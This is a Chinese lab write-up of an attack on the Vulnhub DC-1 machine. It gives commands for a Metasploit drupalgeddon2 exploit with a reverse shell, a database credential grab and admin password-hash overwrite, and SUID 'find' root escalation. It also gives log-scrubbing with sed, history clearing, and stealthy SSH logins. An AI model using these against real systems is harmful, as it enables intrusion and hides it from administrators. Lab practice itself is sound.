DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏

news2024/11/15 17:26:22

前言

博客主页:【h0ck1r丶羽】的公众号~~

由于传播、利用本公众小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!

本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。

环境准备

靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/

攻击机:kali,自行准备

信息收集

开启靶机,切换net/桥接模式

image-20240813182844318

nmap探测主机存活80/sP探测

nmap的基本使用,以及高级用法文章参考:

nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式

image-20240813183742622

# 或者
 nmap -sP 192.168.209.0/24  # -sP这个选项是用来指定一个主机发现方法。

image-20240818160824830

靶机端口扫描,开放了22、80、111、34471端口

nmap 192.168.209.157 -p- -v

image-20240818135805710

访问http服务的80端口,进入到web界面,有一个登录

image-20240813183751733

sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入

image-20240818134025496

注册一个用户试试,他还要发送邮件,并没有让我们填写密码

image-20240818133926122

需要批准之后才能注册用户

image-20240818134250625

由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用

image-20240818134516901

访问

image-20240818133122548

也没发现什么有用的内容

image-20240818134440488

在这里没用,应该是一个api接口

image-20240818135015994

还有一些七七八八的就不看了,基本没啥作用的

漏洞探测

使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息

whatweb -v 192.168.209.157

image-20240818140459776

msf漏洞利用

msf漏洞利用神器,直接搜索Drupal这些模块

msfconsole
search Drupal

image-20240818141259999

使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的

show payloads

image-20240818141459438

我们使用第二个模块试试

image-20240818141815404

use unix/webapp/drupal_drupalgeddon2
# 或者
use 1
# 然后
show payloads # 显示该模块下的所有payload

发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中

image-20240818141741955

设置payload为tcp反弹shell

set payload payload/php/meterpreter/reverse_tcp

当然也可以使用tcp正向连接

set payload payload/php/meterpreter/bind_tcp

他们的区别

正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听

反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。

主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping

这里就使用反向连接来测试

image-20240818162648247

如果出现如下错误多半是防火墙端口没有放行

image-20240818142335776

就是配置下的本地监听端口

image-20240818142405516

使用iptables放行端口

 sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT

这个时候重新开始攻击即可

run
getuid

image-20240818142514729

后渗透

查看系统信息

sysinfo

image-20240818142715886

获取shell

shell

image-20240818142745872

上面终端显示的样子不好看,使用python调用系统终端

python -c "import pty;pty.spawn('/bin/bash')"

image-20240818143019978

这样子就好看多了

找到flag1.txt

image-20240818143302407

他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下

find . -name 'set*'

image-20240818143545032

又给了你一个提示

What can you do with these credentials?

你能用这些凭证做什么?

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

那当然是连接本地数据库

mysql -udbuser -pR0ck3t

image-20240818143958629

查看所有数据库

image-20240818144043739

切换到这个站点的数据库,并查看有什么表

use drupaldb
show tables;

找到有一个users表

image-20240818144314899

里面包含用户名/密码信息

select * from users;

image-20240818144402503

这样子不好看,那么我们就加一个\G

select * from users\G;

image-20240818144902441

不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了

image-20240818145235963

从当前站点目录查找这个文件,并发现有一个password-hash.sh文件

find . -name '*hash*'

image-20240818145449078

在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示

image-20240818150006217

那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?

image-20240818150056202

把他复制下来

$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq

进入mysql

mysql -udbuser -pR0ck3t

修改密码

update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';

登录成功了!

image-20240818150702067

这里我们就找到了flag3

image-20240818150819381

点进去找到这个,提示我们去passwd文件看看

image-20240818150933734

提示我们去passwd,找到flag4

cat /etc/passwd

image-20240818153606548

切换flag4用户下的目录

image-20240818153823104

查看这个文件的权限,尝试追加用户提权,但是只能root读写

image-20240818153930758

find / -perm -u=s -type f  2>/dev/null
# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。

image-20240818155341060

使用find提权

find / -exec "/bin/bash" -p \;

提权成功,找到了最后一个flag

image-20240818160245793

痕迹清除

观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)

1、中间件日志清除

对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

 find / -name 'access*'

image-20240818185526278

查看都有一些什么内容

cat /var/log/apache2/access.log

image-20240818184346502

筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录

sed -i '/192.168.209.1/d' /var/log/apache2/access.log

这条命令会直接在原文件中删除所有包含192.168.209.1的行。-i选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志

cat /var/log/apache2/access.log

可以看到连同kali(192.168.209.151)的日志一起清除成功了

image-20240818190502898

同理正常请求日志清除了,错误请求日志也要删除吧

find / -name 'error*'

image-20240818192956744

cat /var/log/apache2/error.log

image-20240818193103405

一大堆kali攻击日志

同理直接使用sed更改

 sed -i '/192.168.209.1/d' /var/log/apache2/error.log

清除成功!

image-20240818193449850

2、密码还原

对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧

登录数据库

mysql -udbuser -pR0ck3t
update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";

image-20240818190851839

3、清除数据库日志

没有权限

image-20240818191045098

查看日志状态

show variables like '%log%';

image-20240818191714497

general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。

  • general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。

  • general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。

慢查询日志slow_query_log看图也是关闭的

  • slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log

  • slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。

找到这两个日志文件路径,看看有没有,很好没有,这一步跳过

image-20240818191618602

4、清除命令历史

查看自己曾经输入过的命令

history

image-20240818192552351

history -c # 清除命令历史

image-20240818192643230

5、登录日志

这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。

6、nmap扫描日志

nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。

清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。

image-20240818195225115

7、更多

我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知

扩展知识

隐身登录系统,不会被w、who、last等指令检测到。

ssh -T root@192.168.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

往期文章推荐:

【h0ck1r丶羽】的公众号~~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2057209.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Jmeter进行http接口测试,这一篇就搞定

jmeter-http接口测试脚本 jmeter进行http接口测试的主要步骤(1.添加线程组 2.添加http请求 3.在http请求中写入接口的URL,路径,请求方式,参数 4.添加查看结果树 5.调用接口,查看返回值) 针对接口添加heade…

【数据分享】《云南省统计年鉴》(2000-2023)

而今天要限时免费分享的数据就是2000-2023年间出版的《云南省统计年鉴》并以多格式提供免费下载。(无需分享朋友圈即可获取) 数据介绍 在过去的二十多年里,云南省作为中国西南的重要门户,经历了翻天覆地的变化。这些变化不仅…

《机器学习》—— 通过下采样方法实现银行贷款分类问题

文章目录 一、什么是下采样方法?二、通过下采样方法实现银行贷款分类问题三、下采样的优缺点 一、什么是下采样方法? 机器学习中的下采样(Undersampling)方法是一种处理不平衡数据集的有效手段,特别是在数据集中某些类…

YUM和NFS

文章目录 yum软件仓库的提供方式RPM软件包的来源Linux系统各家厂商用的安装源命令---yum 配置本地yum源具体操作 搭建ftp yum仓库环境具体操作实操环境服务端一、安装 vsftpd服务二、创建一个文件,并且挂载三、开启服务四、查看挂载 客户端五、备份六、搭建ftp yum仓…

Word--两列(两栏、多栏、多列)文档中间插入横跨两列(多列)的表格

最终效果如下图所示 最终效果展示图 即:在原本是两列(两栏、多栏、多列)显示的Word文档中,插入一个横跨两列的表格,并且不影响文字排列,表格上侧的文字自动排序,表格下侧的文字自动排序&#…

JUC阻塞队列(三):PriorityBlockingQueue

1、PriorityBlockingQueue 介绍 PriorityBlockingQueue 是一个优先级队列,它不满足队列的先进先出特点; PriorityBlockingQueue 会对队列的数据进行排序,排序规则是数据的优先级; PriorityBlockingQueue是基于二叉堆来实现优先级的…

鸿蒙(API 12 Beta3版)【DRM会话管理(ArkTS)】数字版权保护

DRM会话管理(MediaKeySession)支持媒体密钥管理及媒体解密等,MediaKeySession实例由系统管理里的MediaKeySystem实例创建和销毁。 开发步骤 导入相关接口,导入方法如下。 import { drm } from kit.DrmKit;导入BusinessError模块&…

巡检机器人的使用方法和维护保养

在当今快速发展的工业环境中,智能巡检机器人正逐渐成为提升运维效率和安全性的重要工具。旗晟机器人凭借其核心技术团队和多年的行业经验,推出了多款高效、智能的巡检机器人,旨在帮助企业实现设备运维的智能化升级。本文将介绍旗晟巡检机器人…

第1章-02-Python环境安装与测试

🏆作者简介,黑夜开发者,CSDN领军人物,全栈领域优质创作者✌,CSDN博客专家,阿里云社区专家博主,2023年CSDN全站百大博主。 🏆数年电商行业从业经验,历任核心研发工程师,项目技术负责人。 🏆本文已收录于专栏:Web爬虫入门与实战精讲。 🎉欢迎 👍点赞✍评论⭐收…

ensp小实验(ospf+dhcp+防火墙)

前言 今天给大家分享一个ensp的小实验,里面包含了ospf、dhcp、防火墙的内容,如果需要文件的可以私我。 一、拓扑图 二、实训需求 某学校新建一个分校区网络,经过与校领导和网络管理员的沟通,现通过了设备选型和组网解决方案&…

JUC- Synchronized原理

对象头概念 以 32 位虚拟机为例 Klass Word:指向类对象的指针,标明这个对象的类型 普通对象 |--------------------------------------------------------------| | Object Header (64 bits) | |---------------…

第二十二讲 python中traceback 模块

目录 1. traceback 模块概述 2.捕获和记录异常 3.traceback 模块的函数 3.1 traceback.format_exc() 3.2 traceback.format_exception(etype, value, tb) 3.3 traceback.print_exc() 3.4 traceback.extract_tb(tb) 1. traceback 模块概述 traceback 模块提供了多种函数&#xf…

django实现手机号归属地查询

要在 Django 中创建一个手机归属地查询页面,前端部分通常包括一个输入框用于输入手机号码和一个按钮用于提交查询请求,随后在页面上显示查询结果。 1. 前端页面设计 在 Django 中,创建一个模板文件(例如 phone_location_query.h…

Linux 基础命令大全

Linux是一个功能强大、灵活的操作系统,为用户提供了稳定性、安全性和庞大的开发者和用户社区。它是个人和企业使用的流行选择。 当涉及到Linux基础命令时,以下是一些常用的命令及其功能介绍: 1.ls 查看目录 语法:ls [选项] [文件…

【知识分享】ubuntu22.04-ESP32环境搭建

文章目录 一、概要二、环境及工具介绍三、名词解释四、环境搭建 一、概要 手上有一块安信可的WIFI开发板,用的是乐鑫的ESP32模组。刚好最新装了双系统,貌似在Linux环境使用gcc编译器会快一些。     万事开头难,要在Linux环境下进行开发工…

探索数据结构:哈希表的分析与实现

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:数据结构与算法 贝蒂的主页:Betty’s blog 1. 哈希的引入 1.1. 哈希的概念 无论是在顺序结构还是在树形结构中&am…

mq-direct交换机

把消息分发给不同的人,不是所有人都收到 例如 已加入伙伴计划作者,发加入激励的消息,未加入伙伴计划的就发邀请的消息,不同的微服务发送不同的消息 交换机 direct交换机,要指定key,可以同时收到&#xf…

<数据集>鸟类识别数据集<目标检测>

数据集格式:VOCYOLO格式 图片数量:16287张 标注数量(xml文件个数):16287 标注数量(txt文件个数):16287 标注类别数:10 标注类别名称:[Chestnut Munia, Zebra Dove, Garden Sunbird, Collared Kingfish…

用基础项目来理解spring的作用

简介 spring官方的解释过于专业化,初学者可能比较难懂,接下来我将通过一个最基础的Java项目来尽可能的展示spring中的作用及spring的底层是如何来实现的。 项目结构 该项目是一个简单的JavaSE项目,没有maven或者tomcat等其他。只在控制台进…

【UE5】基于摄像机距离逐渐剔除角色

效果 步骤 1. 新建一个工程,在内容浏览器中添加第三人称游戏内容包 2. 找到第三人称角色的材质实例“MI_Quinn_01”并打开 找到材质实例的父项材质“M_Mannequin” 打开材质“M_Mannequin” 在材质图表中添加如下节点 此时运行效果如文章开头所示。 参考视频&#…